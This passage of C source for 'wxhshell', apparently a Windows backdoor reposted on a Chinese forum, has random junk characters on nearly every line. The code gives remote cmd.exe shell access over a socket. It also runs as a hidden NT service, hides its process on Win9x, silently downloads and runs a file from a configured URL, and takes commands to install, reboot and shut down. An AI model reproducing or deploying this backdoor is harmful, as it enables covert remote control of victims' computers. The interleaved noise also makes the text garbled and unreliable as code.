.Qrpz^wdt  
    switch(cmd[0]) { H]tD~KM<  
  Rr [_t FM  
  // 帮助 fd *XK/h  
  case '?': { R-m5(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %/I:r7UR{  
    break; By@65KmR"  
  } 3=n6N TL  
  // 安装 V$hL\`e  
  case 'i': { CsZm8oL$  
    if(Install()) Mbxl{M >  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d;dT4vx$[M  
    else eQuw uT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %mss{p!d6  
    break; j.]]VA  
    } P0m9($JBD  
  // 卸载 %WU=Vy4  
  case 'r': { zlEI_th:~  
    if(Uninstall()) -sA&1n"W&5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O=bkq}  
    else 2gO@   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _0$>LWO~  
    break; GY?u+|Q  
    } ~v(c9I)  
  // 显示 wxhshell 所在路径 7u;N/@  
  case 'p': { 05H:ZrUV  
    char svExeFile[MAX_PATH]; 2+y wy^  
    strcpy(svExeFile,"\n\r"); i ed 1+H  
      strcat(svExeFile,ExeFile); >g !Z|ju  
        send(wsh,svExeFile,strlen(svExeFile),0); b/[X8w'VP  
    break; wzy[sB274  
    } J#C4A]A  
  // 重启 +#wVe  
  case 'b': { ?n{m2.H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +/celp  
    if(Boot(REBOOT)) k5K5OpY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ H+X'1  
    else { ^J>m4`  
    closesocket(wsh); ng+sK  
    ExitThread(0); KH#z =_  
    } +PE-j| D  
    break; BC!) g+8  
    } C _he=SV  
  // 关机 =SmU ;t>t/  
  case 'd': { S}rEQGGR{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ahg P"Qz  
    if(Boot(SHUTDOWN)) <k8WnA ~Fl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T+T)~!{%  
    else { F1BvDplQ>G  
    closesocket(wsh); wowf 1j-  
    ExitThread(0); >QYx9`x&  
    } Vfzy BjQ  
    break; ?<.a>"!  
    } >[wxZ5))  
  // 获取shell EoutB Vm  
  case 's': { `\(co;:  
    CmdShell(wsh); 4~1b  
    closesocket(wsh); KKk~vwW  
    ExitThread(0); @$kO7k0{g  
    break; \2+ngq)  
  } CRCy)AS,t  
  // 退出 uq[5 om"  
  case 'x': { .Bkfe{^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l4$ sku-  
    CloseIt(wsh); Eg1TF oIWl  
    break; ??e|ec2%  
    } (&79}IEd  
  // 离开 .*6NqX$  
  case 'q': { 'eBD/w5U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~roNe|P  
    closesocket(wsh); )0 E_Y@  
    WSACleanup(); '%/=\Q`  
    exit(1); y(<{e~  
    break; AVLY|79#  
        } >|RoLV  
  } "Ai\NC  
  } &V 7J5~_  
Y>3zpeQ!&  
  // 提示信息 ;Egl8Vhr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6I(Y<LZ5  
} KW'nW  
  } u= dj3q  
&bJBsd@Os  
  return; R%r25_8  
} Q*Jb0f  
q'7.lrKwa>  
// shell模块句柄 fcp_<2KH  
int CmdShell(SOCKET sock) .n_Z0&i/w  
{ I-8I/RRkmP  
STARTUPINFO si; #*9 | \  
ZeroMemory(&si,sizeof(si)); 'wFhfZB1!B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?4wl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n}Eu^^d  
PROCESS_INFORMATION ProcessInfo; =#4>c8MM  
char cmdline[]="cmd"; 4/{pz$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4E=QO!pVv  
  return 0; tc.|mIvw  
} Z2*?a|3  
bbS,pid1  
// 自身启动模式 o1\N)%  
int StartFromService(void) U.Vn|s(`z  
{ m["e7>9G  
typedef struct Ar~<l2,{r  
{ S=kO9"RB]  
  DWORD ExitStatus; id+EBVHAd  
  DWORD PebBaseAddress; pRlScD_};  
  DWORD AffinityMask; 78:x{1nUM[  
  DWORD BasePriority; 6&<QjO  
  ULONG UniqueProcessId; e/x 9@1s#  
  ULONG InheritedFromUniqueProcessId; ze9n}oN  
}   PROCESS_BASIC_INFORMATION; @ g`|ob]9  
%j@/Tx/  
PROCNTQSIP NtQueryInformationProcess; 2h<_?GM\s  
qp*~  |  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :{S@KsPqE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^o>WCU=  
EJz!#f~  
  HANDLE             hProcess; vMX\q  
  PROCESS_BASIC_INFORMATION pbi; )gU:Up24|"  
SR.xI:}4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ro?.w  
  if(NULL == hInst ) return 0; !Q_Kil.9  
Lwm /[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Nk%$;Si  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  HC/a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fsq)co  
-f:PgBj  
  if (!NtQueryInformationProcess) return 0; L{;Q6_m  
l{?9R.L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bM_fuy55Op  
  if(!hProcess) return 0; +7lr#AvU/  
@o}J)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =d~pr:.F  
2|1CGHj\  
  CloseHandle(hProcess); Iq19IbR8  
*yZta:(w-W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d6m&nj  
if(hProcess==NULL) return 0; (}T},ygQ  
D > U(&n  
HMODULE hMod; Z3Ww@&bU  
char procName[255]; tNqSCjQ~_c  
unsigned long cbNeeded; h?ijZHG $  
JAMV@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3*7klu  
$%&OaAg  
  CloseHandle(hProcess); N48X[Q*  
8{icY|:MTN  
if(strstr(procName,"services")) return 1; // 以服务启动 ~EQ# %db  
gd%Ho8,T  
  return 0; // 注册表启动 /{[tU-}qJ  
} BGH'&t_5  
_\@zq*E  
// 主模块 Jfv'M<I  
int StartWxhshell(LPSTR lpCmdLine) z~2;u 5S&  
{ +>Y]1IlI  
  SOCKET wsl; `4Z:qh+fJ  
BOOL val=TRUE; s nNd7v.U6  
  int port=0; Y>2#9LA  
  struct sockaddr_in door; ?c_:S]^  
DbR!s1ux  
  if(wscfg.ws_autoins) Install(); I&^hG\D  
X}QcXc.d  
port=atoi(lpCmdLine); ycIcM~<4  
)#? K2E  
if(port<=0) port=wscfg.ws_port; 931GJA~g  
va#].4_  
  WSADATA data; VGCd)&s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 80gOh:  
 = ~*Vfx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NOAz"m+o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S,Qa\\~z  
  door.sin_family = AF_INET; GbkDs-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a=B $L6*4  
  door.sin_port = htons(port); f& Sovuuh  
^`$-c9M?'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rNke&z:%X_  
closesocket(wsl); #rz!d/)Q  
return 1; bXM&VW?OP  
} OzTR#`oey  
/Ea&Zm  
  if(listen(wsl,2) == INVALID_SOCKET) { eG dFupfz  
closesocket(wsl); SHnMqaq  
return 1; G 40  
} cI@'Pr4:FJ  
  Wxhshell(wsl); :$XlYJrjK  
  WSACleanup(); Io /;+R .  
q03nu3uDI  
return 0; @c>MROlrlF  
.\ vrBf  
} ,RAP_I!_x  
a]8W32  
// 以NT服务方式启动 w`/~y   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) szOa yAS  
{ g`6I,6G  
DWORD   status = 0; .F\[AD 5  
  DWORD   specificError = 0xfffffff; I q{/-,v  
Nk$|nn9#'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W=n Hi\jLV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @cG+ D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <#./q LSR  
  serviceStatus.dwWin32ExitCode     = 0; 3CSwcD  
  serviceStatus.dwServiceSpecificExitCode = 0; A(+V{1 L'  
  serviceStatus.dwCheckPoint       = 0; b>} )G7b}  
  serviceStatus.dwWaitHint       = 0; i\K88B&24  
,nUovWN07  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q[T)jo,j%  
  if (hServiceStatusHandle==0) return; D~2n8h"2ye  
g6][N{xW0  
status = GetLastError(); S} &1_I  
  if (status!=NO_ERROR) T7?z0DKi  
{ 5m>f1`4JS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t<^7s9r;I  
    serviceStatus.dwCheckPoint       = 0; |k: FNu]C  
    serviceStatus.dwWaitHint       = 0; Jg.^h1>x  
    serviceStatus.dwWin32ExitCode     = status; [XP\WG>s  
    serviceStatus.dwServiceSpecificExitCode = specificError; gU@R   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Iqj?wI 1)  
    return; @k-GyV-v  
  } ,K.Wni#m  
|A=~aQot  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :vFYqoCn  
  serviceStatus.dwCheckPoint       = 0; {Bpu-R&T  
  serviceStatus.dwWaitHint       = 0; AG G xx?I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8xoC9!xt  
} )<5hga][~a  
"2"2qZ*h}  
// 处理NT服务事件,比如:启动、停止 8&7zV:=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AbX#wpp!  
{  "'Q~&B;@  
switch(fdwControl) +4[Je$qYa  
{ 0.U- tg0  
case SERVICE_CONTROL_STOP: (J j'kW6G6  
  serviceStatus.dwWin32ExitCode = 0; qM d4awB R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @A-E  
  serviceStatus.dwCheckPoint   = 0; z;&J9r $`  
  serviceStatus.dwWaitHint     = 0; b>& 3 XDz  
  { /~/nhKm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6""i<oR  
  } d @b ]/  
  return; e,*@+E\4  
case SERVICE_CONTROL_PAUSE: aL8Z|*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LP?*RrM  
  break; |tFg9RT  
case SERVICE_CONTROL_CONTINUE: ~#=70  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ece=loV*l  
  break; hz-^9U  
case SERVICE_CONTROL_INTERROGATE: U@LIw6B!KL  
  break; iu`B8yI  
}; T^2o' _:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q9nQ/]rkHF  
} aM\Ph&c7e'  
|O*?[|`H  
// 标准应用程序主函数 ,,h>_IA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h0-CTPQ7A  
{ 'pT8S  
c:-n0m'i  
// 获取操作系统版本 V~QOl=`K:  
OsIsNt=GetOsVer(); L,sXJ23.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I\= &v^]  
9*(uJA  
  // 从命令行安装 K6nNrd}p:  
  if(strpbrk(lpCmdLine,"iI")) Install();  &/)To  
ql_,U8Jw  
  // 下载执行文件 ii ^Nxnc=  
if(wscfg.ws_downexe) { $KsB'BZy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `bNLmTS  
  WinExec(wscfg.ws_filenam,SW_HIDE); [tJp^?6*  
} 6^z):d#u  
!*,m=*[3  
if(!OsIsNt) { EV R>R  
// 如果时win9x,隐藏进程并且设置为注册表启动 |#22pq?RP  
HideProc(); b Kr73S9  
StartWxhshell(lpCmdLine); 0E^S!A 7  
} |_16IEJ  
else dF+:9iiAm  
  if(StartFromService()) "iuNYM5 P  
  // 以服务方式启动 [XD3}'Aa  
  StartServiceCtrlDispatcher(DispatchTable); Y>CZ  
else /)V8X#,  
  // 普通方式启动 w(q\75  
  StartWxhshell(lpCmdLine); X1&c?T1 %[  
t#nRa Pzp  
return 0; Ol X otp8  
}
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只看该作者 1 发表于: 2006-10-10
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